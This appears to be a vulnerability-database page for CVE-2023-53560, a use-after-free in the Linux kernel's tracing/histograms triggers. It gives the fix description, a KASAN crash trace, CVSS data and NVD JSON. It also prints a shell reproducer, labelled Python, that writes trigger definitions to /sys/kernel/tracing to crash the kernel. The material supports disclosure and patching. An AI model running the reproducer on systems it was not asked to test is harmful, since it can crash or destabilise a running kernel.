CVE-2023-53560

Description

In the Linux kernel, the following vulnerability has been resolved: tracing/histograms: Add histograms to hist_vars if they have referenced variables Hist triggers can have referenced variables without having direct variables fields. This can be the case if referenced variables are added for trigger actions. In this case the newly added references will not have field variables. Not taking such referenced variables into consideration can result in a bug where it would be possible to remove hist trigger with variables being refenced. This will result in a bug that is easily reproducable like so $ cd /sys/kernel/tracing $ echo 'synthetic_sys_enter char[] comm; long id' >> synthetic_events $ echo 'hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger $ echo 'hist:keys=common_pid.execname,id.syscall:onmatch(raw_syscalls.sys_enter).synthetic_sys_enter($comm, id)' >> events/raw_syscalls/sys_enter/trigger $ echo '!hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger [ 100.263533] ================================================================== [ 100.264634] BUG: KASAN: slab-use-after-free in resolve_var_refs+0xc7/0x180 [ 100.265520] Read of size 8 at addr ffff88810375d0f0 by task bash/439 [ 100.266320] [ 100.266533] CPU: 2 PID: 439 Comm: bash Not tainted 6.5.0-rc1 #4 [ 100.267277] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-20220807_005459-localhost 04/01/2014 [ 100.268561] Call Trace: [ 100.268902] <TASK> [ 100.269189] dump_stack_lvl+0x4c/0x70 [ 100.269680] print_report+0xc5/0x600 [ 100.270165] ? resolve_var_refs+0xc7/0x180 [ 100.270697] ? kasan_complete_mode_report_info+0x80/0x1f0 [ 100.271389] ? resolve_var_refs+0xc7/0x180 [ 100.271913] kasan_report+0xbd/0x100 [ 100.272380] ? resolve_var_refs+0xc7/0x180 [ 100.272920] __asan_load8+0x71/0xa0 [ 100.273377] resolve_var_refs+0xc7/0x180 [ 100.273888] event_hist_trigger+0x749/0x860 [ 100.274505] ? kasan_save_stack+0x2a/0x50 [ 100.275024] ? kasan_set_track+0x29/0x40 [ 100.275536] ? __pfx_event_hist_trigger+0x10/0x10 [ 100.276138] ? ksys_write+0xd1/0x170 [ 100.276607] ? do_syscall_64+0x3c/0x90 [ 100.277099] ? entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 100.277771] ? destroy_hist_data+0x446/0x470 [ 100.278324] ? event_hist_trigger_parse+0xa6c/0x3860 [ 100.278962] ? __pfx_event_hist_trigger_parse+0x10/0x10 [ 100.279627] ? __kasan_check_write+0x18/0x20 [ 100.280177] ? mutex_unlock+0x85/0xd0 [ 100.280660] ? __pfx_mutex_unlock+0x10/0x10 [ 100.281200] ? kfree+0x7b/0x120 [ 100.281619] ? ____kasan_slab_free+0x15d/0x1d0 [ 100.282197] ? event_trigger_write+0xac/0x100 [ 100.282764] ? __kasan_slab_free+0x16/0x20 [ 100.283293] ? __kmem_cache_free+0x153/0x2f0 [ 100.283844] ? sched_mm_cid_remote_clear+0xb1/0x250 [ 100.284550] ? __pfx_sched_mm_cid_remote_clear+0x10/0x10 [ 100.285221] ? event_trigger_write+0xbc/0x100 [ 100.285781] ? __kasan_check_read+0x15/0x20 [ 100.286321] ? __bitmap_weight+0x66/0xa0 [ 100.286833] ? _find_next_bit+0x46/0xe0 [ 100.287334] ? task_mm_cid_work+0x37f/0x450 [ 100.287872] event_triggers_call+0x84/0x150 [ 100.288408] trace_event_buffer_commit+0x339/0x430 [ 100.289073] ? ring_buffer_event_data+0x3f/0x60 [ 100.292189] trace_event_raw_event_sys_enter+0x8b/0xe0 [ 100.295434] syscall_trace_enter.constprop.0+0x18f/0x1b0 [ 100.298653] syscall_enter_from_user_mode+0x32/0x40 [ 100.301808] do_syscall_64+0x1a/0x90 [ 100.304748] entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 100.307775] RIP: 0033:0x7f686c75c1cb [ 100.310617] Code: 73 01 c3 48 8b 0d 65 3c 10 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 21 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 35 3c 10 00 f7 d8 64 89 01 48 [ 100.317847] RSP: 002b:00007ffc60137a38 EFLAGS: 00000246 ORIG_RAX: 0000000000000021 [ 100.321200] RA ---truncated---

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.5（受影响版本）

Linux Kernel stable分支（需参考具体修复commit）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2023-53560 PoC - Linux Kernel tracing/histograms Use-After-Free
# Reproducer for slab-use-after-free in resolve_var_refs
# Requires: root or CAP_SYS_ADMIN privilege to access /sys/kernel/tracing

#!/bin/bash
set -e

cd /sys/kernel/tracing

# Step 1: Create a synthetic event with comm and id fields
echo 'synthetic_sys_enter char[] comm; long id' >> synthetic_events

# Step 2: Create first hist trigger that references comm variable via vals
echo 'hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger

# Step 3: Create second hist trigger that references comm via onmatch action
# This creates a referenced variable WITHOUT a direct field variable
echo 'hist:keys=common_pid.execname,id.syscall:onmatch(raw_syscalls.sys_enter).synthetic_sys_enter($comm, id)' >> events/raw_syscalls/sys_enter/trigger

# Step 4: Remove the first hist trigger - triggers use-after-free
# because the second trigger still references $comm variable
echo '!hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger

# Expected result: KASAN reports slab-use-after-free in resolve_var_refs+0xc7/0x180
# System may crash or become unstable

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53560
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53560
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53560/
[4] VulDB https://vuldb.com/cve/CVE-2023-53560
[5] https://git.kernel.org/stable/c/1576f0df7b4d1f82db588d6654b89d796fa06929
[6] https://git.kernel.org/stable/c/4815359056083c555f97a5ee3af86519be5166de
[7] https://git.kernel.org/stable/c/4a540f63618e525e433b37d2b5522cda08e321d7
[8] https://git.kernel.org/stable/c/4ffad1528e81c91769d9da1f8436080861c8ec67
[9] https://git.kernel.org/stable/c/5fd32eb6fa0ac795aa5a64bc004ab68d7b44196a
[10] https://git.kernel.org/stable/c/6018b585e8c6fa7d85d4b38d9ce49a5b67be7078
[11] https://git.kernel.org/stable/c/97f54b330c797ed27fba8791baeaa38ace886cbd

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53560", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:51.397", "lastModified": "2026-03-21T00:38:40.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Add histograms to hist_vars if they have referenced variables\n\nHist triggers can have referenced variables without having direct\nvariables fields. This can be the case if referenced variables are added\nfor trigger actions. In this case the newly added references will not\nhave field variables. Not taking such referenced variables into\nconsideration can result in a bug where it would be possible to remove\nhist trigger with variables being refenced. This will result in a bug\nthat is easily reproducable like so\n\n$ cd /sys/kernel/tracing\n$ echo 'synthetic_sys_enter char[] comm; long id' >> synthetic_events\n$ echo 'hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger\n$ echo 'hist:keys=common_pid.execname,id.syscall:onmatch(raw_syscalls.sys_enter).synthetic_sys_enter($comm, id)' >> events/raw_syscalls/sys_enter/trigger\n$ echo '!hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger\n\n[ 100.263533] ==================================================================\n[ 100.264634] BUG: KASAN: slab-use-after-free in resolve_var_refs+0xc7/0x180\n[ 100.265520] Read of size 8 at addr ffff88810375d0f0 by task bash/439\n[ 100.266320]\n[ 100.266533] CPU: 2 PID: 439 Comm: bash Not tainted 6.5.0-rc1 #4\n[ 100.267277] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-20220807_005459-localhost 04/01/2014\n[ 100.268561] Call Trace:\n[ 100.268902] <TASK>\n[ 100.269189] dump_stack_lvl+0x4c/0x70\n[ 100.269680] print_report+0xc5/0x600\n[ 100.270165] ? resolve_var_refs+0xc7/0x180\n[ 100.270697] ? kasan_complete_mode_report_info+0x80/0x1f0\n[ 100.271389] ? resolve_var_refs+0xc7/0x180\n[ 100.271913] kasan_report+0xbd/0x100\n[ 100.272380] ? resolve_var_refs+0xc7/0x180\n[ 100.272920] __asan_load8+0x71/0xa0\n[ 100.273377] resolve_var_refs+0xc7/0x180\n[ 100.273888] event_hist_trigger+0x749/0x860\n[ 100.274505] ? kasan_save_stack+0x2a/0x50\n[ 100.275024] ? kasan_set_track+0x29/0x40\n[ 100.275536] ? __pfx_event_hist_trigger+0x10/0x10\n[ 100.276138] ? ksys_write+0xd1/0x170\n[ 100.276607] ? do_syscall_64+0x3c/0x90\n[ 100.277099] ? entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n[ 100.277771] ? destroy_hist_data+0x446/0x470\n[ 100.278324] ? event_hist_trigger_parse+0xa6c/0x3860\n[ 100.278962] ? __pfx_event_hist_trigger_parse+0x10/0x10\n[ 100.279627] ? __kasan_check_write+0x18/0x20\n[ 100.280177] ? mutex_unlock+0x85/0xd0\n[ 100.280660] ? __pfx_mutex_unlock+0x10/0x10\n[ 100.281200] ? kfree+0x7b/0x120\n[ 100.281619] ? ____kasan_slab_free+0x15d/0x1d0\n[ 100.282197] ? event_trigger_write+0xac/0x100\n[ 100.282764] ? __kasan_slab_free+0x16/0x20\n[ 100.283293] ? __kmem_cache_free+0x153/0x2f0\n[ 100.283844] ? sched_mm_cid_remote_clear+0xb1/0x250\n[ 100.284550] ? __pfx_sched_mm_cid_remote_clear+0x10/0x10\n[ 100.285221] ? event_trigger_write+0xbc/0x100\n[ 100.285781] ? __kasan_check_read+0x15/0x20\n[ 100.286321] ? __bitmap_weight+0x66/0xa0\n[ 100.286833] ? _find_next_bit+0x46/0xe0\n[ 100.287334] ? task_mm_cid_work+0x37f/0x450\n[ 100.287872] event_triggers_call+0x84/0x150\n[ 100.288408] trace_event_buffer_commit+0x339/0x430\n[ 100.289073] ? ring_buffer_event_data+0x3f/0x60\n[ 100.292189] trace_event_raw_event_sys_enter+0x8b/0xe0\n[ 100.295434] syscall_trace_enter.constprop.0+0x18f/0x1b0\n[ 100.298653] syscall_enter_from_user_mode+0x32/0x40\n[ 100.301808] do_syscall_64+0x1a/0x90\n[ 100.304748] entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n[ 100.307775] RIP: 0033:0x7f686c75c1cb\n[ 100.310617] Code: 73 01 c3 48 8b 0d 65 3c 10 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 21 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 35 3c 10 00 f7 d8 64 89 01 48\n[ 100.317847] RSP: 002b:00007ffc60137a38 EFLAGS: 00000246 ORIG_RAX: 0000000000000021\n[ 100.321200] RA\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, ... (truncated)